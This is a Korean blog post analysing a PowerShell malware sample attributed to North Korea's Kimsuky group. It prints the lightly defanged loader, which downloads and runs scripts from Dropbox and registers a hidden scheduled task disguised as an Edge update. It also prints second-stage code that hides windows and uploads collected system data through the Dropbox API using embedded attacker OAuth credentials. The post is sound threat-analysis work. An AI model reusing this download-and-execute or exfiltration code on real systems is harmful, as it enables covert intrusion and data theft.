오늘은 북한 김수키(Kimsuky)에서 만든 악성코드-1.txt(2024.12.14) 애 대해 글을 적어보겠습니다. 일단 어떤 방식으로 유포가 되는지 모르겠지만 일단 텍스트 파일에 PowerShell 코드가 있으며 해당 파일을 실행을 하면 드롭 박스에 업로드된 txt 파일에서 실행을 하는 것이 특징입니다.
일단 해쉬값은 다음과 같습니다.
파일명:1.txt
사이즈:1,137 Bytes
MD5:aa793be3a980534b116c6744b77029e5
SHA-1:71de1f8e9d109354d571df180563cb6ed1786792
SHA-256:3e1353241852bc3ece184d55f1a2a194bdbe0a4ee6908d7a7827673b7fa38929
악성코드에 포함된 PowerShell 코드
$BPS = Join-Path ($env:App(D)ata) "msupdate(.)ps1"; $str
= '$aaa = Join-Path ($env:AppData) "tem(p).ps1"; wget -Uri
"hxxps://dl.dropboxuse(r)content(.)com/scl/fi/5z7u901sdzoqz00l(i)94n1/system-x(.)txt?rl
key=61jkj43d1i(x)2s785wgdkvl9po&st=sonqsoi6&dl=0" -OutFile $aaa; (&) $aaa; Remo(v)e-
Item -Path $aaa -F(o)rce;'; $str | O(u)t-File -File(P)ath $BPS -Enc(o)ding UTF8; $(a
)ction = New-Schedule(d)TaskAction -Ex(e)cute 'PowerShell(.)exe' -Argument '(-)Windo
wStyle Hidden -nop -NonIn(t)eractive -NoPr(o)file -Executi(o)nPolicy Bypass -C(o)m
mand "& {$abc = Join-Path ($en(v):AppData) \"msupdate(.)ps1\"; & $abc;}"'; $t(r)i
gger = New-Schedule(d)TaskTrigger -Once -At ((G)et-Date).AddMi(n)utes(15) -Repeti
(t)ionInterval (New-TimeSp(a)n -Minute(s) 30); $sett(i)ngs = New-Scheduled(T)askS
ettingsSet -(H)idden; Register-(S)cheduledTask -Tas(k)Name "MicrosoftEdgeUpdate(T
)askMachineUA{08D75543-4129-40F4-81D2-EB97D3D54985}" -Action $action -Trigger $tr
igg(e)r -Settings $settings; $aaa = Join-Path ($env:AppData) "system_first.ps1";
wget -Uri "hxxps://dl(.)dropboxusercontent(.)com/scl/fi/pcda4919r00y2(0)rplmqrn/s
ystem-f(.)txt?rlkey=3aqcyuzbc8h6clctfk3nabqjk&st=n(6)3y43d8&dl=0"
-OutFil(e) $aaa; & ($)aaa; Rem(o)ve-Item -Path $aaa -Force;
코드 분석
1 msupdate(.) ps1 생성 및 작업 스케줄러 등록
$BPS 경로에 msupdate.ps1라는 이름으로 PowerShell 스크립트를 저장
저장된 msupdate.ps1의 내용은 $str 변수에 정의된 스크립트를 포함
2 작업 스케줄러 등록
15분 후 실행을 시작하고 30분 간격으로 반복 실행되도록 작업 스케줄러에 악성 작업을 등록
작업명은 MicrosoftEdgeUpdateTaskMachineUA {GUID}로 정상적인 업데이트 작업처럼 위장
3 원격 스크립트 다운로드 및 실행
원격 서버에서 악성 스크립트를 다운로드(temp(.) ps1) 후 실행
실행 후 파일을 삭제
4 두 번째 원격 스크립트 다운로드 및 실행
다른 스크립트를 다운로드(system_first(.) ps1) 및 실행하며 역시 실행 후 흔적을 제거
dl(.)dropboxusercontent(.)com/scl/fi/5z7u901sdzoqz00li94n1/system-x(.)txt
코드
$vvvv = "ppeoiqmvizxncv(o)isadjofiawejjri"
Add-Type @"
using System;
using System(.)Runtime.InteropServices;
public class Us(e0r32 {
[DllImport("user32(.0dll", SetLastError = true)]
public static extern IntPt(r) GetForegroundWindow();
[DllImport("user32(.)dll", SetLastError = true)]
[return: MarshalAs(Un(m0anagedType.Bool)]
public static extern boo(l) ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$qwejirjasidf = "ppeoiqmvizx(n)cvoisadjofiawejjri"
$SW_HIDE = 0
$SW_SHOW = 5
$hwnd = [User32]::GetForegroundWindow()
# Hide the window
if ($hwnd -ne [IntPtr]::Zero) {
[User32]::ShowWindow($hwnd, $SW_HIDE)
Write-Output "While Windows Updat"
} else {
Write-Output "While Windows Service Update"
}
.....
코드 분석
1.윈도우 숨김 및 사용자 기만
현재 활성화된 창을 숨겨 사용자에게 보이지 않도록 설정
사용자가 의심하지 않도록 Windows Update와 관련된 메시지를 출력
2.Dropbox API를 이용한 데이터 전송 Dropbox API에 접근하기 위해 OAuth 토큰을 요청
공격자가 이미 구성한 refresh_token, client_id, client_secret을 사용
성공적으로 인증되면 API 요청에 사용할 액세스 토큰을 획득
3. 시스템 정보 수집
시스템의 네트워크 IP 주소와 현재 시간을 기반으로 파일 이름을 생성
컴퓨터의 마지막 부팅 시간을 파일에 기록
결과 파일은 $AppData 경로에 저장
4. 파일 업로드
업로드 대상 파일 경로를 생성한 후 Dropbox API를 사용하여 파일을 업로드
업로드에는 OAuth 액세스 토큰과 필요한 헤더를 포함
5. 파일 제거:업로드가 완료된 후 파일을 삭제하여 분석을 방해
system-f(.)txt 코드
t_f = "vjvjzn11223jainnnn(n)nnnnnnnzxxxxxxxxeijfajsiofjJIOJioanaICImJNamvlOIIOSVnzjdijQnzjizjidfn";
$tptptptp = $env:Ap(p)Data;
$t_f = "vjvjzn11223jai(n)nnnnnnnnnnnzxxxxxxxxeijfajsiofjJIOJioanaICImJNamvlOIIOSVnzjdijQnzjizjidfn";
$trparamtrapa = @{
grant_type = "refr(e)sh_token"
refresh_token = "q8Vvz1k(I)U3wAAAAAAAAAASeQqe_odBjrbGlkNBkDtobBKx30EheH3B19A3p_teh4";
client_id = "lo9356o9f(n)qw7ok"
client_secret = "u18outxwwy495(0)k"
}
$lllllllllllll = "hxxps://a" + "pi(.)dr" (+) "opboxa" + "pi(.)com/oau" + "th2/to" + "ken"
$rrrrrrrroookkenenenenen = Invoke-RestMethod -Uri $lllllllllllll -Method Post -Body $trparamtrapa
$iiiiiippppppppp = (Get-WmiObject Win32_Networ(k)AdapterC(o)nfiguration | Where-Object { $_.IPAddress -ne $null }).IPAddress[0]
$currrtttiimmeee = G(e)t-Date -Format "MMdd_HHmm"
$fileName = "$iiiiiippp(p)ppppp-$currr(t)ttiimmeee-First-system.txt"
$ffullpathhhh = Join-Path $tptptptp $file(N)ame
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime | Out-File -FilePath $ffullpathhhh
....
코드 분석
1. 시스템 정보 수집
네트워크 정보
시스템의 첫 번째 활성 IP 주소를 확인
운영체제 정보
OS 이름, 버전, 빌드 번호, 아키텍처 정보를 수집
컴퓨터 시스템 정보
컴퓨터 이름, 제조사, 모델 등의 세부 정보를 저장
PC 유형 확인
PC 유형(노트북 또는 데스크톱)을 확인
5. 백신 프로그램 소프트웨어 정보
설치된 안티바이러스 제품 정보를 수집합
시스템 설치 날짜
운영체제 설치 날짜를 확인
프로세스 목록
현재 실행 중인 모든 프로세스 정보를 저장
2.Dropbox API를 사용한 데이터 업로드
수집한 정보를 Dropbox 서버로 업로드
OAuth 토큰 요청
Dropbox API에서 인증을 수행하여 업로드에 사용할 액세스 토큰을 획득
업로드를 위한 경로와 메타데이터 생성
업로드 파일의 경로를 Dropbox 서버 상에서 설정하고 인증 토큰을 헤더에 포함
파일 업로드
수집한 데이터를 Dropbox API를 사용하여 업로드
파일 삭제제
업로드 완료 후 로컬에 저장된 수집 데이터를 삭제하여 흔적을 제거
2024-12-13 18:26:26 UTC 기준 바이러스토털에서 탐지하고 있는 보안 업체
Huorong:Backdoor/Meterpreter.p
아직 많은 보안 업체들이 탐지하고 있지 않고 있으므로 항상 주의하시는 것을 권장합니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
북한 해킹단체 김수키(Kimsuky)에서 만든 금융거래확인서로 위장한 악성코드-confirmation.chm(2024.12.10) (0) | 2024.12.20 |
---|---|
맥 OS(Mac OS)CVE-2024-44175 취약점 간단 분석 (0) | 2024.12.19 |
Mullvad VPN CVE-2024-55884 심각한 보안 취약점 (0) | 2024.12.18 |
노드 VPN 스마트폰 IP 우회 변경 사용법(3개월 무료) (2) | 2024.12.17 |
북한 해킹 단체 김수키(Kimsuky)에서 만든 스피어 피싱으로 제작된 악성코드-열차9월10일원고(화)_4.bat(2024.12.02) (0) | 2024.12.17 |
워드프레스(WordPress) Hunk Companion WordPress 플러그인 취약점 악용한 플러그인 설치 (0) | 2024.12.16 |
일본 みずほ銀行(미즈호은행)피싱메일 간단 분석(2024.12.09) (0) | 2024.12.12 |
윈도우 10 KB5048652,윈도우 11 KB5048667 & KB5048685 보안 업데이트 (0) | 2024.12.11 |